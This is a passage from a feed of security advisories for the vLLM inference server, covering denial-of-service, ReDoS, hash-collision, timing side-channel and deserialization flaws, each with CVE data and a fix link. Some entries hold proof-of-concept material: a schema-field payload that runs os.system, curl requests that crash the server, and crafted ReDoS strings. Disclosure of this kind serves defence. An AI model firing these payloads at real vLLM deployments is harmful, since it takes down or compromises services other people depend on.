10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0\nAccept: application/json\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate, br\nReferer: \nContent-Type: application/json\nContent-Length: 718\nOrigin: \nSec-Fetch-Dest: empty\nSec-Fetch-Mode: cors\nSec-Fetch-Site: same-origin\nPriority: u=0\nTe: trailers\nConnection: keep-alive\n\n{\n \"model\": \"mistral-nemo-instruct\",\n \"messages\": [\n {\n \"role\": \"user\",\n \"content\": \"Crash via Pattern\"\n }\n ],\n \"tools\": [\n {\n \"type\": \"function\",\n \"function\": {\n \"name\": \"crash02\",\n \"parameters\": {\n \"type\": \"object\",\n \"properties\": {\n \"a\": {\n \"type\": \"string\",\n\"pattern\": \"{{ __import__('os').system('echo RCE_OK \u003e /tmp/pwned') or 'SAFE' }}\"\n }\n }\n }\n }\n }\n ],\n \"tool_choice\": {\n \"type\": \"function\",\n \"function\": {\n \"name\": \"crash02\"\n }\n },\n \"stream\": false,\n \"max_tokens\": 32,\n \"temperature\": 0.2,\n \"top_p\": 1,\n \"n\": 1\n}\n\n### Impact\nBackend workers can be crashed causing anyone to using the inference engine to get 500 internal server errors on subsequent requests. \n\n### Fix\n\n* https://github.com/vllm-project/vllm/pull/17623","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2025-05-28T19:42:32.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/vllm-project/vllm/security/advisories/GHSA-vrq3-r879-7m65","https://github.com/vllm-project/vllm/pull/17623","https://nvd.nist.gov/vuln/detail/CVE-2025-48944","https://github.com/advisories/GHSA-vrq3-r879-7m65"],"source_kind":"github","identifiers":["GHSA-vrq3-r879-7m65","CVE-2025-48944"],"repository_url":"https://github.com/vllm-project/vllm","blast_radius":0.0,"created_at":"2025-05-28T20:07:59.876Z","updated_at":"2026-06-01T06:03:13.945Z","epss_percentage":0.00318,"epss_percentile":0.54667,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12cnEzLXI4NzktN202Nc4ABIcm","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS12cnEzLXI4NzktN202Nc4ABIcm","packages":[{"ecosystem":"pypi","package_name":"vllm","versions":[{"first_patched_version":"0.9.0","vulnerable_version_range":"\u003e= 0.8.0, \u003c 0.9.0"}],"purl":"pkg:pypi/vllm"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12cnEzLXI4NzktN202Nc4ABIcm/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS05aGNmLXY3bTQtNm0yas4ABIcl","url":"https://github.com/advisories/GHSA-9hcf-v7m4-6m2j","title":"vLLM allows clients to crash the openai server with invalid regex","description":"### Impact\n\nA denial of service bug caused the vLLM server to crash if an invalid regex was provided while using structured output. This vulnerability is similar to [GHSA-6qc9-v4r8-22xg](https://github.com/vllm-project/vllm/security/advisories/GHSA-6qc9-v4r8-22xg), but for regex instead of a JSON schema.\n\nIssue with more details: https://github.com/vllm-project/vllm/issues/17313\n\n### Patches\n\n* https://github.com/vllm-project/vllm/pull/17623","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2025-05-28T19:42:12.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/vllm-project/vllm/security/advisories/GHSA-9hcf-v7m4-6m2j","https://github.com/vllm-project/vllm/issues/17313","https://github.com/vllm-project/vllm/pull/17623","https://github.com/vllm-project/vllm/commit/08bf7840780980c7568c573c70a6a8db94fd45ff","https://nvd.nist.gov/vuln/detail/CVE-2025-48943","https://github.com/pypa/advisory-database/tree/main/vulns/vllm/PYSEC-2025-55.yaml","https://github.com/advisories/GHSA-9hcf-v7m4-6m2j"],"source_kind":"github","identifiers":["GHSA-9hcf-v7m4-6m2j","CVE-2025-48943"],"repository_url":"https://github.com/vllm-project/vllm","blast_radius":0.0,"created_at":"2025-05-28T20:07:59.916Z","updated_at":"2026-06-01T06:03:13.945Z","epss_percentage":0.00237,"epss_percentile":0.46665,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05aGNmLXY3bTQtNm0yas4ABIcl","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS05aGNmLXY3bTQtNm0yas4ABIcl","packages":[{"ecosystem":"pypi","package_name":"vllm","versions":[{"first_patched_version":"0.9.0","vulnerable_version_range":"\u003e= 0.8.0, \u003c 0.9.0"}],"purl":"pkg:pypi/vllm"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05aGNmLXY3bTQtNm0yas4ABIcl/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS02cWM5LXY0cjgtMjJ4Z84ABIck","url":"https://github.com/advisories/GHSA-6qc9-v4r8-22xg","title":"vLLM DOS: Remotely kill vllm over http with invalid JSON schema","description":"### Summary\nHitting the /v1/completions API with a invalid json_schema as a Guided Param will kill the vllm server\n\n\n### Details\nThe following API call \n`(venv) [derekh@ip-172-31-15-108 ]$ curl -s http://localhost:8000/v1/completions -H \"Content-Type: application/json\" -d '{\"model\": \"meta-llama/Llama-3.2-3B-Instruct\",\"prompt\": \"Name two great reasons to visit Sligo \", \"max_tokens\": 10, \"temperature\": 0.5, \"guided_json\":\"{\\\"properties\\\":{\\\"reason\\\":{\\\"type\\\": \\\"stsring\\\"}}}\"}' \n`\nwill provoke a Uncaught exceptions from xgrammer in \n`./lib64/python3.11/site-packages/xgrammar/compiler.py\n`\n\nIssue with more information: https://github.com/vllm-project/vllm/issues/17248\n\n### PoC\nMake a call to vllm with invalid json_scema e.g. `{\\\"properties\\\":{\\\"reason\\\":{\\\"type\\\": \\\"stsring\\\"}}}`\n\n`curl -s http://localhost:8000/v1/completions -H \"Content-Type: application/json\" -d '{\"model\": \"meta-llama/Llama-3.2-3B-Instruct\",\"prompt\": \"Name two great reasons to visit Sligo \", \"max_tokens\": 10, \"temperature\": 0.5, \"guided_json\":\"{\\\"properties\\\":{\\\"reason\\\":{\\\"type\\\": \\\"stsring\\\"}}}\"}'\n`\n### Impact\nvllm crashes\n\n\nexample traceback\n```\nERROR 03-26 17:25:01 [core.py:340] EngineCore hit an exception: Traceback (most recent call last):\nERROR 03-26 17:25:01 [core.py:340] File \"/home/derekh/workarea/vllm/vllm/v1/engine/core.py\", line 333, in run_engine_core\nERROR 03-26 17:25:01 [core.py:340] engine_core.run_busy_loop()\nERROR 03-26 17:25:01 [core.py:340] File \"/home/derekh/workarea/vllm/vllm/v1/engine/core.py\", line 367, in run_busy_loop\nERROR 03-26 17:25:01 [core.py:340] outputs = step_fn()\nERROR 03-26 17:25:01 [core.py:340] ^^^^^^^^^\nERROR 03-26 17:25:01 [core.py:340] File \"/home/derekh/workarea/vllm/vllm/v1/engine/core.py\", line 181, in step\nERROR 03-26 17:25:01 [core.py:340] scheduler_output = self.scheduler.schedule()\nERROR 03-26 17:25:01 [core.py:340] ^^^^^^^^^^^^^^^^^^^^^^^^^\nERROR 03-26 17:25:01 [core.py:340] File \"/home/derekh/workarea/vllm/vllm/v1/core/scheduler.py\", line 257, in schedule\nERROR 03-26 17:25:01 [core.py:340] if structured_output_req and structured_output_req.grammar:\nERROR 03-26 17:25:01 [core.py:340] ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\nERROR 03-26 17:25:01 [core.py:340] File \"/home/derekh/workarea/vllm/vllm/v1/structured_output/request.py\", line 41, in grammar\nERROR 03-26 17:25:01 [core.py:340] completed = self._check_grammar_completion()\nERROR 03-26 17:25:01 [core.py:340] ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\nERROR 03-26 17:25:01 [core.py:340] File \"/home/derekh/workarea/vllm/vllm/v1/structured_output/request.py\", line 29, in _check_grammar_completion\nERROR 03-26 17:25:01 [core.py:340] self._grammar = self._grammar.result(timeout=0.0001)\nERROR 03-26 17:25:01 [core.py:340] ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\nERROR 03-26 17:25:01 [core.py:340] File \"/usr/lib64/python3.11/concurrent/futures/_base.py\", line 456, in result\nERROR 03-26 17:25:01 [core.py:340] return self.__get_result()\nERROR 03-26 17:25:01 [core.py:340] ^^^^^^^^^^^^^^^^^^^\nERROR 03-26 17:25:01 [core.py:340] File \"/usr/lib64/python3.11/concurrent/futures/_base.py\", line 401, in __get_result\nERROR 03-26 17:25:01 [core.py:340] raise self._exception\nERROR 03-26 17:25:01 [core.py:340] File \"/usr/lib64/python3.11/concurrent/futures/thread.py\", line 58, in run\nERROR 03-26 17:25:01 [core.py:340] result = self.fn(*self.args, **self.kwargs)\nERROR 03-26 17:25:01 [core.py:340] ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\nERROR 03-26 17:25:01 [core.py:340] File \"/home/derekh/workarea/vllm/vllm/v1/structured_output/__init__.py\", line 120, in _async_create_grammar\nERROR 03-26 17:25:01 [core.py:340] ctx = self.compiler.compile_json_schema(grammar_spec,\nERROR 03-26 17:25:01 [core.py:340] ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\nERROR 03-26 17:25:01 [core.py:340] File \"/home/derekh/workarea/vllm/venv/lib64/python3.11/site-packages/xgrammar/compiler.py\", line 101, in compile_json_schema\nERROR 03-26 17:25:01 [core.py:340] self._handle.compile_json_schema(\nERROR 03-26 17:25:01 [core.py:340] RuntimeError: [17:25:01] /project/cpp/json_schema_converter.cc:795: Check failed: (schema.is\u003cpicojson::object\u003e()) is false: Schema should be an object or bool\nERROR 03-26 17:25:01 [core.py:340] \nERROR 03-26 17:25:01 [core.py:340] \nCRITICAL 03-26 17:25:01 [core_client.py:269] Got fatal signal from worker processes, shutting down. See stack trace above for root cause issue.\n```\n\n### Fix\n\n* https://github.com/vllm-project/vllm/pull/17623","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2025-05-28T19:41:53.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/vllm-project/vllm/security/advisories/GHSA-6qc9-v4r8-22xg","https://github.com/vllm-project/vllm/issues/17248","https://github.com/vllm-project/vllm/pull/17623","https://github.com/vllm-project/vllm/commit/08bf7840780980c7568c573c70a6a8db94fd45ff","https://nvd.nist.gov/vuln/detail/CVE-2025-48942","https://github.com/pypa/advisory-database/tree/main/vulns/vllm/PYSEC-2025-54.yaml","https://github.com/advisories/GHSA-6qc9-v4r8-22xg"],"source_kind":"github","identifiers":["GHSA-6qc9-v4r8-22xg","CVE-2025-48942"],"repository_url":"https://github.com/vllm-project/vllm","blast_radius":0.0,"created_at":"2025-05-28T20:07:59.943Z","updated_at":"2026-06-01T06:03:13.945Z","epss_percentage":0.0021,"epss_percentile":0.43492,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02cWM5LXY0cjgtMjJ4Z84ABIck","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02cWM5LXY0cjgtMjJ4Z84ABIck","packages":[{"ecosystem":"pypi","package_name":"vllm","versions":[{"first_patched_version":"0.9.0","vulnerable_version_range":"\u003e= 0.8.0, \u003c 0.9.0"}],"purl":"pkg:pypi/vllm"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02cWM5LXY0cjgtMjJ4Z84ABIck/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1jNjVwLXg2NzctZmdqNs4ABIby","url":"https://github.com/advisories/GHSA-c65p-x677-fgj6","title":"vLLM has a Weakness in MultiModalHasher Image Hashing Implementation","description":"## Summary\n\nIn the file `vllm/multimodal/hasher.py`, the `MultiModalHasher` class has a security and data integrity issue in its image hashing method. Currently, it serializes `PIL.Image.Image` objects using only `obj.tobytes()`, which returns only the raw pixel data, without including metadata such as the image’s shape (width, height, mode). As a result, two images of different sizes (e.g., 30x100 and 100x30) with the same pixel byte sequence could generate the same hash value. This may lead to hash collisions, incorrect cache hits, and even data leakage or security risks.\n\n## Details\n\n- **Affected file:** `vllm/multimodal/hasher.py`\n- **Affected method:** `MultiModalHasher.serialize_item`\nhttps://github.com/vllm-project/vllm/blob/9420a1fc30af1a632bbc2c66eb8668f3af41f026/vllm/multimodal/hasher.py#L34-L35\n- **Current behavior:** For `Image.Image` instances, only `obj.tobytes()` is used for hashing.\n- **Problem description:** `obj.tobytes()` does not include the image’s width, height, or mode metadata.\n- **Impact:** Two images with the same pixel byte sequence but different sizes could be regarded as the same image by the cache and hashing system, which may result in:\n - Incorrect cache hits, leading to abnormal responses\n - Deliberate construction of images with different meanings but the same hash value\n\n\n## Recommendation\n\nIn the `serialize_item` method, **serialization of `Image.Image` objects should include not only pixel data, but also all critical metadata**—such as dimensions (`size`), color mode (`mode`), format, and especially the `info` dictionary. The `info` dictionary is particularly important in palette-based images (e.g., mode `'P'`), where the palette itself is stored in `info`. Ignoring `info` can result in hash collisions between visually distinct images with the same pixel bytes but different palettes or metadata. This can lead to incorrect cache hits or even data leakage.\n\n**Summary:** \nSerializing only the raw pixel data is insecure. Always include all image metadata (`size`, `mode`, `format`, `info`) in the hash calculation to prevent collisions, especially in cases like palette-based images.\n\n**Impact for other modalities**\nFor the influence of other modalities, since the video modality is transformed into a multi-dimensional array containing the length, width, time, etc. of the video, the same problem exists due to the incorrect sequence of numpy as well.\n\nFor audio, since the momo function is not enabled in librosa.load, the loaded audio is automatically encoded into single channels by librosa and returns a one-dimensional array of numpy, thus keeping the structure of numpy fixed and not affected by this issue.\n\n## Fixes\n\n* https://github.com/vllm-project/vllm/pull/17378","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2025-05-28T18:03:41.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":4.2,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:L","references":["https://github.com/vllm-project/vllm/security/advisories/GHSA-c65p-x677-fgj6","https://github.com/vllm-project/vllm/pull/17378","https://github.com/vllm-project/vllm/commit/99404f53c72965b41558aceb1bc2380875f5d848","https://nvd.nist.gov/vuln/detail/CVE-2025-46722","https://github.com/pypa/advisory-database/tree/main/vulns/vllm/PYSEC-2025-43.yaml","https://github.com/advisories/GHSA-c65p-x677-fgj6"],"source_kind":"github","identifiers":["GHSA-c65p-x677-fgj6","CVE-2025-46722"],"repository_url":"https://github.com/vllm-project/vllm","blast_radius":0.0,"created_at":"2025-05-28T19:08:07.911Z","updated_at":"2026-06-01T06:03:13.946Z","epss_percentage":0.00231,"epss_percentile":0.45763,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jNjVwLXg2NzctZmdqNs4ABIby","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jNjVwLXg2NzctZmdqNs4ABIby","packages":[{"ecosystem":"pypi","package_name":"vllm","versions":[{"first_patched_version":"0.9.0","vulnerable_version_range":"\u003e= 0.7.0, \u003c 0.9.0"}],"purl":"pkg:pypi/vllm"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jNjVwLXg2NzctZmdqNs4ABIby/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS00cWpoLTlmdjktcjg1cs4ABIbx","url":"https://github.com/advisories/GHSA-4qjh-9fv9-r85r","title":"Potential Timing Side-Channel Vulnerability in vLLM’s Chunk-Based Prefix Caching","description":"This issue arises from the prefix caching mechanism, which may expose the system to a timing side-channel attack.\n\n## Description\nWhen a new prompt is processed, if the PageAttention mechanism finds a matching prefix chunk, the prefill process speeds up, which is reflected in the TTFT (Time to First Token). Our tests revealed that the timing differences caused by matching chunks are significant enough to be recognized and exploited.\n\nFor instance, if the victim has submitted a sensitive prompt or if a valuable system prompt has been cached, an attacker sharing the same backend could attempt to guess the victim's input. By measuring the TTFT based on prefix matches, the attacker could verify if their guess is correct, leading to potential leakage of private information.\n\nUnlike token-by-token sharing mechanisms, vLLM’s chunk-based approach (PageAttention) processes tokens in larger units (chunks). In our tests, with chunk_size=2, the timing differences became noticeable enough to allow attackers to infer whether portions of their input match the victim's prompt at the chunk level.\n\n## Environment\n\n- GPU: NVIDIA A100 (40G)\n- CUDA: 11.8\n- PyTorch: 2.3.1\n- OS: Ubuntu 18.04\n- vLLM: v0.5.1\nConfiguration: We launched vLLM using the default settings and adjusted chunk_size=2 to evaluate the TTFT.\n\n## Leakage\nWe conducted our tests using LLaMA2-70B-GPTQ on a single device. We analyzed the timing differences when prompts shared prefixes of 2 chunks, and plotted the corresponding ROC curves. Our results suggest that timing differences can be reliably used to distinguish prefix matches, demonstrating a potential side-channel vulnerability.\n\u003cimg src=\"https://github.com/user-attachments/assets/db3491e9-02b7-424c-9b6d-56f553b39f2f\" alt=\"roc_curves_combined_block_2\" width=\"400\"/\u003e\n\n\n## Results\nIn our experiment, we analyzed the response time differences between cache hits and misses in vLLM's PageAttention mechanism. Using ROC curve analysis to assess the distinguishability of these timing differences, we observed the following results:\n- With a 1-token prefix, the ROC curve yielded an AUC value of 0.571, indicating that even with a short prefix, an attacker can reasonably distinguish between cache hits and misses based on response times.\n- When the prefix length increases to 8 tokens, the AUC value rises significantly to 0.99, showing that the attacker can almost perfectly identify cache hits with a longer prefix.\n\n## Fixes\n\n* https://github.com/vllm-project/vllm/pull/17045","origin":"UNSPECIFIED","severity":"LOW","published_at":"2025-05-28T18:02:24.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":2.6,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:N/A:N","references":["https://github.com/vllm-project/vllm/security/advisories/GHSA-4qjh-9fv9-r85r","https://github.com/vllm-project/vllm/pull/17045","https://github.com/vllm-project/vllm/commit/77073c77bc2006eb80ea6d5128f076f5e6c6f54f","https://nvd.nist.gov/vuln/detail/CVE-2025-46570","https://github.com/pypa/advisory-database/tree/main/vulns/vllm/PYSEC-2025-53.yaml","https://github.com/advisories/GHSA-4qjh-9fv9-r85r"],"source_kind":"github","identifiers":["GHSA-4qjh-9fv9-r85r","CVE-2025-46570"],"repository_url":"https://github.com/vllm-project/vllm","blast_radius":0.0,"created_at":"2025-05-28T19:08:07.951Z","updated_at":"2026-06-01T06:03:13.946Z","epss_percentage":0.00177,"epss_percentile":0.39011,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00cWpoLTlmdjktcjg1cs4ABIbx","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS00cWpoLTlmdjktcjg1cs4ABIbx","packages":[{"ecosystem":"pypi","package_name":"vllm","versions":[{"first_patched_version":"0.9.0","vulnerable_version_range":"\u003c 0.9.0"}],"purl":"pkg:pypi/vllm"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00cWpoLTlmdjktcjg1cs4ABIbx/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1qODI4LTI4cmotaGZocM4ABIbw","url":"https://github.com/advisories/GHSA-j828-28rj-hfhp","title":"vLLM vulnerable to Regular Expression Denial of Service","description":"### Summary\nA recent review identified several regular expressions in the vllm codebase that are susceptible to Regular Expression Denial of Service (ReDoS) attacks. These patterns, if fed with crafted or malicious input, may cause severe performance degradation due to catastrophic backtracking.\n\n#### 1. vllm/lora/utils.py [Line 173](https://github.com/vllm-project/vllm/blob/2858830c39da0ae153bc1328dbba7680f5fbebe1/vllm/lora/utils.py#L173)\n\nhttps://github.com/vllm-project/vllm/blob/2858830c39da0ae153bc1328dbba7680f5fbebe1/vllm/lora/utils.py#L173\n**Risk Description:**\n- The regex `r\"\\((.*?)\\)\\$?$\"` matches content inside parentheses. If input such as `((((a|)+)+)+)` is passed in, it can cause catastrophic backtracking, leading to a ReDoS vulnerability.\n- Using `.*?` (non-greedy match) inside group parentheses can be highly sensitive to input length and nesting complexity.\n\n**Remediation Suggestions:**\n- Limit the input string length.\n- Use a non-recursive matching approach, or write a regex with stricter content constraints.\n- Consider using possessive quantifiers or atomic groups (not supported in Python yet), or split and process before regex matching.\n\n---\n\n#### 2. vllm/entrypoints/openai/tool_parsers/phi4mini_tool_parser.py [Line 52](https://github.com/vllm-project/vllm/blob/2858830c39da0ae153bc1328dbba7680f5fbebe1/vllm/entrypoints/openai/tool_parsers/phi4mini_tool_parser.py#L52)\n\nhttps://github.com/vllm-project/vllm/blob/2858830c39da0ae153bc1328dbba7680f5fbebe1/vllm/entrypoints/openai/tool_parsers/phi4mini_tool_parser.py#L52\n\n**Risk Description:**\n- The regex `r'functools\\[(.*?)\\]'` uses `.*?` to match content inside brackets, together with `re.DOTALL`. If the input contains a large number of nested or crafted brackets, it can cause backtracking and ReDoS.\n\n**Remediation Suggestions:**\n- Limit the length of `model_output`.\n- Use a stricter, non-greedy pattern (avoid matching across extraneous nesting).\n- Prefer `re.finditer()` and enforce a length constraint on each match.\n\n---\n\n#### 3. vllm/entrypoints/openai/serving_chat.py [Line 351](https://github.com/vllm-project/vllm/blob/2858830c39da0ae153bc1328dbba7680f5fbebe1/vllm/entrypoints/openai/serving_chat.py#L351)\n\nhttps://github.com/vllm-project/vllm/blob/2858830c39da0ae153bc1328dbba7680f5fbebe1/vllm/entrypoints/openai/serving_chat.py#L351\n\n**Risk Description:**\n- The regex `r'.*\"parameters\":\\s*(.*)'` can trigger backtracking if `current_text` is very long and contains repeated structures.\n- Especially when processing strings from unknown sources, `.*` matching any content is high risk.\n\n**Remediation Suggestions:**\n- Use a more specific pattern (e.g., via JSON parsing).\n- Impose limits on `current_text` length.\n- Avoid using `.*` to capture large blocks of text; prefer structured parsing when possible.\n\n---\n\n#### 4. benchmarks/benchmark_serving_structured_output.py [Line 650](https://github.com/vllm-project/vllm/blob/2858830c39da0ae153bc1328dbba7680f5fbebe1/benchmarks/benchmark_serving_structured_output.py#L650)\n\nhttps://github.com/vllm-project/vllm/blob/2858830c39da0ae153bc1328dbba7680f5fbebe1/benchmarks/benchmark_serving_structured_output.py#L650\n\n**Risk Description:**\n- The regex `r'\\{.*\\}'` is used to extract JSON inside curly braces. If the `actual` string is very long with unbalanced braces, it can cause backtracking, leading to a ReDoS vulnerability.\n- Although this is used for benchmark correctness checking, it should still handle abnormal inputs carefully.\n\n**Remediation Suggestions:**\n- Limit the length of `actual`.\n- Prefer stepwise search for `{` and `}` or use a robust JSON extraction tool.\n- Recommend first locating the range with simple string search, then applying regex.\n\n### Fix\n\n* https://github.com/vllm-project/vllm/pull/18454\n\n---","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2025-05-28T17:50:06.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":4.3,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L","references":["https://github.com/vllm-project/vllm/security/advisories/GHSA-j828-28rj-hfhp","https://github.com/vllm-project/vllm/pull/18454","https://github.com/vllm-project/vllm/commit/4fc1bf813ad80172c1db31264beaef7d93fe0601","https://github.com/advisories/GHSA-j828-28rj-hfhp"],"source_kind":"github","identifiers":["GHSA-j828-28rj-hfhp"],"repository_url":"https://github.com/vllm-project/vllm","blast_radius":0.0,"created_at":"2025-05-28T18:08:00.019Z","updated_at":"2026-06-01T06:03:13.946Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qODI4LTI4cmotaGZocM4ABIbw","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1qODI4LTI4cmotaGZocM4ABIbw","packages":[{"ecosystem":"pypi","package_name":"vllm","versions":[{"first_patched_version":"0.9.0","vulnerable_version_range":"\u003e= 0.6.3, \u003c 0.9.0"}],"purl":"pkg:pypi/vllm"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qODI4LTI4cmotaGZocM4ABIbw/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS13NnE3LWo2NDItN2MyNc4ABIbv","url":"https://github.com/advisories/GHSA-w6q7-j642-7c25","title":"vLLM has a Regular Expression Denial of Service (ReDoS, Exponential Complexity) Vulnerability in `pythonic_tool_parser.py`","description":"## Summary\n\nA Regular Expression Denial of Service (ReDoS) vulnerability exists in the file [`vllm/entrypoints/openai/tool_parsers/pythonic_tool_parser.py`](https://github.com/vllm-project/vllm/blob/main/vllm/entrypoints/openai/tool_parsers/pythonic_tool_parser.py) of the vLLM project. The root cause is the use of a highly complex and nested regular expression for tool call detection, which can be exploited by an attacker to cause severe performance degradation or make the service unavailable.\n\n## Details\n\nThe following regular expression is used to match tool/function call patterns:\n```\nr\"\\[([a-zA-Z]+\\w*\\(([a-zA-Z]+\\w*=.*,\\s*)*([a-zA-Z]+\\w*=.*\\s)?\\),\\s*)*([a-zA-Z]+\\w*\\(([a-zA-Z]+\\w*=.*,\\s*)*([a-zA-Z]+\\w*=.*\\s*)?\\)\\s*)+\\]\"\n```\nThis pattern contains multiple nested quantifiers (`*`, `+`), optional groups, and inner repetitions which make it vulnerable to catastrophic backtracking.\n\n**Attack Example:**\nA malicious input such as \n```\n[A(A=\t)A(A=,\t\t)A(A=,\t\t)A(A=,\t\t)... (repeated dozens of times) ...]\n\nor\n\n\"[A(A=\" + \"\\t)A(A=,\\t\" * repeat\n```\n\n\n\ncan cause the regular expression engine to consume CPU exponentially with the input length, effectively freezing or crashing the server (DoS).\n\n**Proof of Concept:**\nA Python script demonstrates that matching such a crafted string with the above regex results in exponential time complexity. Even moderate input lengths can bring the system to a halt.\n\n```\nLength: 22, Time: 0.0000 seconds, Match: False\nLength: 38, Time: 0.0010 seconds, Match: False\nLength: 54, Time: 0.0250 seconds, Match: False\nLength: 70, Time: 0.5185 seconds, Match: False\nLength: 86, Time: 13.2703 seconds, Match: False\nLength: 102, Time: 319.0717 seconds, Match: False\n```\n\n## Impact\n\n- **Denial of Service (DoS):** An attacker can trigger a denial of service by sending specially crafted payloads to any API or interface that invokes this regex, causing excessive CPU usage and making the vLLM service unavailable.\n- **Resource Exhaustion and Memory Retention:** As this regex is invoked during function call parsing, the matching process may hold on to significant CPU and memory resources for extended periods (due to catastrophic backtracking). In the context of vLLM, this also means that the associated KV cache (used for model inference and typically stored in GPU memory) is not released in a timely manner. This can lead to GPU memory exhaustion, degraded throughput, and service instability.\n- **Potential for Broader System Instability:** Resource exhaustion from stuck or slow requests may cascade into broader system instability or service downtime if not mitigated.\n\n## Fix\n\n* https://github.com/vllm-project/vllm/pull/18454\n* Note that while this change has significantly improved performance, this regex may still be problematic. It has gone from exponential time complexity, O(2^N), to O(N^2).","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2025-05-28T17:49:33.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/vllm-project/vllm/security/advisories/GHSA-w6q7-j642-7c25","https://github.com/vllm-project/vllm/pull/18454","https://github.com/vllm-project/vllm/commit/4fc1bf813ad80172c1db31264beaef7d93fe0601","https://nvd.nist.gov/vuln/detail/CVE-2025-48887","https://github.com/pypa/advisory-database/tree/main/vulns/vllm/PYSEC-2025-50.yaml","https://github.com/advisories/GHSA-w6q7-j642-7c25"],"source_kind":"github","identifiers":["GHSA-w6q7-j642-7c25","CVE-2025-48887"],"repository_url":"https://github.com/vllm-project/vllm","blast_radius":0.0,"created_at":"2025-05-28T18:08:00.750Z","updated_at":"2026-06-01T06:03:13.947Z","epss_percentage":0.00345,"epss_percentile":0.56921,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13NnE3LWo2NDItN2MyNc4ABIbv","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS13NnE3LWo2NDItN2MyNc4ABIbv","packages":[{"ecosystem":"pypi","package_name":"vllm","versions":[{"first_patched_version":"0.9.0","vulnerable_version_range":"\u003e= 0.6.4, \u003c 0.9.0"}],"purl":"pkg:pypi/vllm"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13NnE3LWo2NDItN2MyNc4ABIbv/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1oanE0LTg3eGgtZzRmds4ABIIT","url":"https://github.com/advisories/GHSA-hjq4-87xh-g4fv","title":"vLLM Allows Remote Code Execution via PyNcclPipe Communication Service","description":"### Impacted Environments\n\nThis issue ONLY impacts environments using the `PyNcclPipe` KV cache transfer integration with the V0 engine. No other configurations are affected.\n\n### Summary\nvLLM supports the use of the `PyNcclPipe` class to establish a peer-to-peer communication domain for data transmission between distributed nodes. The GPU-side KV-Cache transmission is implemented through the `PyNcclCommunicator` class, while CPU-side control message passing is handled via the `send_obj` and `recv_obj` methods on the CPU side.​ \n\nA remote code execution vulnerability exists in the `PyNcclPipe` service. Attackers can exploit this by sending malicious serialized data to gain server control privileges. \n\nThe intention was that this interface should only be exposed to a private network using the IP address specified by the `--kv-ip` CLI parameter. The vLLM documentation covers how this must be limited to a secured network: https://docs.vllm.ai/en/latest/deployment/security.html\n\nUnfortunately, the default behavior from PyTorch is that the `TCPStore` interface will listen on ALL interfaces, regardless of what IP address is provided. The IP address given was 